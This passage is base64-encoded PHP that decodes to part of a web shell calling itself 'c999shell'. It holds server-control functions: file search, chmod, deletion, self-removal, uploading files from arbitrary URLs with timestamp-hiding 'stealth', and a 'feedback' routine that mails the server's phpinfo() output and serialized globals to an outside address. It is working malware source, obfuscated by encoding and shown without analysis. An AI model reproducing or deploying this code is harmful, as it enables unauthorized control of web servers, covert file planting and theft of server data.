bk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVy X2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsKIGVjaG8gIjxjZW50ZXI+YmFzZTY0X2RlY29k ZSAtICI7CiBpZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0g JGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJmYWls ZWRcIiBkaXNhYmxlZCByZWFkb25seT4iO30KIGVsc2UKIHsKICAkZGViYXNlNjQgPSBiYXNlNjRfZGVj b2RlKCRlbmNvZGVyX2lucHV0KTsKICAkZGViYXNlNjQgPSBzdHJfcmVwbGFjZSgiXDAiLCJbMF0iLCRk ZWJhc2U2NCk7CiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOwogICRyb3dzID0gY291bnQo JGEpOwogICRkZWJhc2U2NCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRlYmFzZTY0KTsKICBpZiAoJHJvd3Mg PT0gMSkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3Qo KVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgp XCIgdmFsdWU9XCIiLiRkZWJhc2U2NC4iXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7fQogIGVs c2UgeyRyb3dzKys7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBcIiByb3dzPVwiIi4kcm93cy4iXCIg b25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1v dXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iLiRkZWJhc2U2 NC4iPC90ZXh0YXJlYT4iO30KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRf ZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPjxiPl48 L2I+PC9hPiI7CiB9CiBlY2hvICI8L2NlbnRlcj48YnI+PGI+QmFzZSBjb252ZXJ0YXRpb25zPC9iPjo8 Y2VudGVyPmRlYzJoZXggLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2Vs ZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxl Y3QoKVwiIHZhbHVlPVwiIjsKICRjID0gc3RybGVuKCRlbmNvZGVyX2lucHV0KTsKIGZvcigkaT0wOyRp

PCRjOyRpKyspCiB7CiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7CiAgaWYg KCRlbmNvZGVyX2lucHV0WyRpXSA9PSAiJiIpIHtlY2hvICRlbmNvZGVyX2lucHV0WyRpXTt9CiAgZWxz ZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQogfQogZWNobyAi XCIgcmVhZG9ubHk+PGJyPjwvY2VudGVyPjwvZm9ybT4iOwp9CmlmICgkYWN0ID09ICJmc2J1ZmYiKQp7 CiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07CiAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1 dCJdOwogJGFyciA9IGFycmF5X21lcmdlKCRhcnJfY29weSwkYXJyX2N1dCk7CiBpZiAoY291bnQoJGFy cikgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iO30K IGVsc2Uge2VjaG8gIjxiPkZpbGUtU3lzdGVtIGJ1ZmZlcjwvYj48YnI+PGJyPiI7ICRsc19hcnIgPSAk YXJyOyAkZGlzcF9mdWxscGF0aCA9IFRSVUU7ICRhY3QgPSAibHMiO30KfQppZiAoJGFjdCA9PSAic2Vs ZnJlbW92ZSIpCnsKIGlmICgoJHN1Ym1pdCA9PSAkcm5kY29kZSkgYW5kICgkc3VibWl0ICE9ICIiKSkK IHsKICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVz aW5nIGM5OTlzaGVsbCB2LiIuJHNodmVyLiIhIjsgYzk5OXNoZXhpdCgpOyB9CiAgZWxzZSB7ZWNobyAi PGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30KIH0KIGVs c2UKIHsKICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29u ZmltYXRpb24hPC9iPiI7fQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsKICBl Y2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Qg dmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIi5fX0ZJTEVfXy4iIDxicj48Yj5BcmUgeW91 IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4kcm5kLiJcIjwvYj46Jm5ic3A7PGlu cHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9 dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zv cm0+IjsKIH0KfQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyRyZXQgPSBjOTk5c2hfZ2V0dXBkYXRlKCEh JGNvbmZpcm11cGRhdGUpOyBlY2hvICI8Yj4iLiRyZXQuIjwvYj4iOyBpZiAoc3RyaXN0cigkcmV0LCJu ZXcgdmVyc2lvbiIpKSB7ZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1cImxv Y2F0aW9uLmhyZWY9JyIuJHN1cmwuImFjdD11cGRhdGUmY29uZmlybXVwZGF0ZT0xJztcIiB2YWx1ZT1c IlVwZGF0ZSBub3dcIj4iO319CmlmICgkYWN0ID09ICJmZWVkYmFjayIpCnsKICRzdXBwbWFpbCA9IGJh c2U2NF9kZWNvZGUoIll6azVjMmhsYkd4QVkyTjBaV0Z0TG5KMSIpOwogaWYgKCFlbXB0eSgkc3VibWl0 KSkKIHsKICAkdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5kKDEsMTAwMCkpLDAsNik7 CiAgJGJvZHkgPSAiYzk5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5h bWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxj aGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5 KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsKICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpCiAgewogICAk dG1wID0gQG9iX2dldF9jb250ZW50cygpOwogICBvYl9jbGVhbigpOwogICBwaHBpbmZvKCk7CiAgICRw aHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7CiAgIG9iX2NsZWFuKCk7CiAg IGVjaG8gJHRtcDsKICAgJGJvZHkgLj0gIlxuIi4icGhwaW5mbygpOiAiLiRwaHBpbmZvLiJcbiIuIlwk R0xPQkFMUz0iLmJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRHTE9CQUxTKSkuIlxuIjsKICB9CiAgbWFp bCgkc3VwcG1haWwsImM5OTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldCwkYm9k eSwiRlJPTTogIi4kc3VwcG1haWwpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZl ZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7CiB9CiBlbHNl IHtlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+PGI+RmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5z dHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxhcnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4i KTo8YnI+PGJyPllvdXIgbmFtZTogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwi IHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcIj48YnI+PGJyPllvdXIgZS1t YWlsOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19lbWFpbFwiIHZhbHVlPVwiIi5odG1s c3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKS4iXCI+PGJyPjxicj5NZXNzYWdlOjxicj48dGV4dGFyZWEg bmFtZT1cImZkYmtfYm9keVwiIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtf Ym9keSkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmRia19yZWZcIiB2 YWx1ZT1cIiIudXJsZW5jb2RlKCRIVFRQX1JFRkVSRVIpLiJcIj48YnI+PGJyPkF0dGFjaCBzZXJ2ZXIt aW5mbyAqIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmRia19zZXJ2aW5mXCIgdmFsdWU9 XCIxXCIgY2hlY2tlZD48YnI+PGJyPlRoZXJlIGFyZSBubyBjaGVja2luZyBpbiB0aGUgZm9ybS48YnI+ PGJyPiogLSBzdHJvbmdseSByZWNvbW1lbmRlZCwgaWYgeW91IHJlcG9ydCBidWcsIGJlY2F1c2Ugd2Ug bmVlZCBpdCBmb3IgYnVnLWZpeC48YnI+PGJyPldlIHVuZGVyc3RhbmQgbGFuZ3VhZ2VzOiBFbmdsaXNo LCBSdXNzaWFuLjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFs dWU9XCJTZW5kXCI+PC9mb3JtPiI7fQp9CmlmICgkYWN0ID09ICJzZWFyY2giKQp7CiBlY2hvICI8Yj5T ZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOwogaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNl YXJjaF9pbiA9ICRkO30KIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIigu KikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9CiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykp IHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9CiBpZiAoIWVtcHR5KCRzdWJtaXQpKQogewogICRmb3Vu ZCA9IGFycmF5KCk7CiAgJGZvdW5kX2QgPSAwOwogICRmb3VuZF9mID0gMDsKICAkc2VhcmNoX2lfZiA9 IDA7CiAgJHNlYXJjaF9pX2QgPSAwOwogICRhID0gYXJyYXkKICAoCiAgICJuYW1lIj0+JHNlYXJjaF9u

YW1lLCAibmFtZV9yZWdleHAiPT4kc2VhcmNoX25hbWVfcmVnZXhwLAogICAidGV4dCI9PiRzZWFyY2hf dGV4dCwgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLAogICAidGV4dF93d28iPT4kc2Vh cmNoX3RleHRfd3dvLAogICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywKICAgInRleHRfbm90Ij0+ JHNlYXJjaF90ZXh0X25vdAogICk7CiAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3RpbWUoKTsKICAkaW4g PSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOwogIGZvcmVhY2goJGluIGFzICR2 KSB7Yzk5OWZzZWFyY2goJHYpO30KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRz ZWFyY2h0aW1lLDQpOwogIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICI8Yj5ObyBmaWxlcyBm b3VuZCE8L2I+Ijt9CiAgZWxzZQogIHsKICAgJGxzX2FyciA9ICRmb3VuZDsKICAgJGRpc3BfZnVsbHBh dGggPSBUUlVFOwogICAkYWN0ID0gImxzIjsKICB9CiB9CiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4K PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5 cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4KPGI+U2VhcmNoIGZvciAoZmls ZS9mb2xkZXIgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVc IiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1s c3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hc IiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3Jl Z2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxv ZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9 XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNo YXJzKCRzZWFyY2hfaW4pLiJcIj4KPGJyPjxicj48Yj5UZXh0OjwvYj48YnI+PHRleHRhcmVhIG5hbWU9 XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMo JHNlYXJjaF90ZXh0KS4iPC90ZXh0YXJlYT4KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIg bmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdl eHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1c ImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hf dGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIDx1Pnc8L3U+aG9sZSB3b3JkcyBvbmx5CiZu YnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2 YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfY3MgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGNhczx1 PmU8L3U+IHNlbnNpdGl2ZQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1c InNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNo ZWNrZWQiOiIiKS4iPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0Cjxi cj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3Jt PiI7CiBpZiAoJGFjdCA9PSAibHMiKSB7JGRzcGFjdCA9ICRhY3Q7IGVjaG8gIjxociBzaXplPVwiMVwi IG5vc2hhZGU+PGI+U2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2Yu IiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRz ZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+ Ijt9Cn0KaWYgKCRhY3QgPT0gImNobW9kIikKewogJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOwogaWYg KCEkbW9kZSkge2VjaG8gIjxiPkNoYW5nZSBmaWxlLW1vZGUgd2l0aCBlcnJvcjo8L2I+IGNhbid0IGdl dCBjdXJyZW50IHZhbHVlLiI7fQogZWxzZQogewogICRmb3JtID0gVFJVRTsKICBpZiAoJGNobW9kX3N1 Ym1pdCkKICB7CiAgICRvY3RldCA9ICIwIi5iYXNlX2NvbnZlcnQoKCRjaG1vZF9vWyJyIl0/MTowKS4o JGNobW9kX29bInciXT8xOjApLigkY2htb2Rfb1sieCJdPzE6MCkuKCRjaG1vZF9nWyJyIl0/MTowKS4o JGNobW9kX2dbInciXT8xOjApLigkY2htb2RfZ1sieCJdPzE6MCkuKCRjaG1vZF93WyJyIl0/MTowKS4o JGNobW9kX3dbInciXT8xOjApLigkY2htb2Rfd1sieCJdPzE6MCksMiw4KTsKICAgaWYgKGNobW9kKCRk LiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30KICAgZWxz ZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3RldC4iLiI7fQogIH0KICBpZiAoJGZvcm0pCiAg ewogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7CiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUt bW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNv Y3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4g Ii4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5 cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAw IGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxi cj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNb Im8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2Jv eCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIiku Ij4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9 MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3Jv dXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIu KCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBl PWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNr

ZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4 XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+ PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9k X3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFk PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3 Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94 IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4i PmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2ht b2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOwogIH0KIH0K fQppZiAoJGFjdCA9PSAidXBsb2FkIikKewogJHVwbG9hZG1lc3MgPSAiIjsKICR1cGxvYWRwYXRoID0g c3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsKIGlmIChlbXB0 eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30KIGVsc2VpZiAoc3Vic3RyKCR1cGxvYWRw YXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQogaWYgKCFlbXB0eSgkc3VibWl0KSkK IHsKICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsKICAkdXBsb2FkZmlsZSA9ICRIVFRQX1BPU1RfRklM RVNbInVwbG9hZGZpbGUiXTsKICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkKICB7 CiAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1l Il07fQogICBlbHNlIHskZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9CiAgIGlmICghbW92ZV91cGxvYWRl ZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9h ZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4n dCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRk ZXN0aW4uIlwiITxicj4iO30KICB9CiAgZWxzZWlmICghZW1wdHkoJHVwbG9hZHVybCkpCiAgewogICBp ZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30KICAg ZWxzZQogICB7CiAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7CiAgICAkZGVzdGluID0g JGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsKICAgIGlmIChlbXB0eSgkZGVzdGluKSkKICAgIHsKICAg ICAkaSA9IDA7CiAgICAgJGIgPSAiIjsKICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4k ZGVzdGluKSkge2lmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9ICRkZXN0aW4gPSAiaW5kZXgiLiRiLiIu aHRtbCI7ICRpKys7fX0KICAgfQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFu ZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxv YWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQogICBlbHNlCiAgIHsKICAg ICRzdCA9IGdldG1pY3JvdGltZSgpOwogICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVw bG9hZHVybCk7CiAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7CiAgICBpZiAoISRj b250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30KICAgIGVs c2UKICAgIHsKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRk ZXN0aW4pO30KICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7CiAgICAgaWYg KCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxj aGFycygkZGVzdGluKS4iITxicj4iO30KICAgICBlbHNlCiAgICAgewogICAgICBmd3JpdGUoJGZwLCRj b250ZW50LHN0cmxlbigkY29udGVudCkpOwogICAgICBmY2xvc2UoJGZwKTsKICAgICAgaWYgKCRmaWxl c3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30KICAg ICB9CiAgICB9CiAgIH0KICB9CiB9CiBpZiAoJG1pbmlmb3JtKQogewogIGVjaG8gIjxiPiIuJHVwbG9h ZG1lc3MuIjwvYj4iOwogICRhY3QgPSAibHMiOwogfQogZWxzZQogewogIGVjaG8gIjxiPkZpbGUgdXBs b2FkOjwvYj48YnI+PGI+Ii4kdXBsb2FkbWVzcy4iPC9iPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQv Zm9ybS1kYXRhXCIgYWN0aW9uPVwiIi4kc3VybC4iYWN0PXVwbG9hZCZkPSIudXJsZW5jb2RlKCRkKS4i XCIgbWV0aG9kPVBPU1Q+ClNlbGVjdCBmaWxlIG9uIHlvdXIgbG9jYWwgY29tcHV0ZXI6IDxpbnB1dCBu YW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwO29yPGJyPgpJbnB1dCBVUkw6IDxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRl eHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+ PGJyPjxicj4KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXpl PVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPgpGaWxlLW5hbWUgKGF1dG8tZmlsbCk6 IDxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PGJyPjxicj4KPGlucHV0IHR5cGU9Y2hl Y2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUg bmFtZSB0byBsb3ZlcmNhc2U8YnI+PGJyPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFs dWU9XCJVcGxvYWRcIj4KPC9mb3JtPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpCnsKICRkZWxl cnIgPSAiIjsKIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpCiB7CiAgJHJlc3VsdCA9IEZBTFNFOwogICRy ZXN1bHQgPSBmc19ybW9iaigkdik7CiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVs 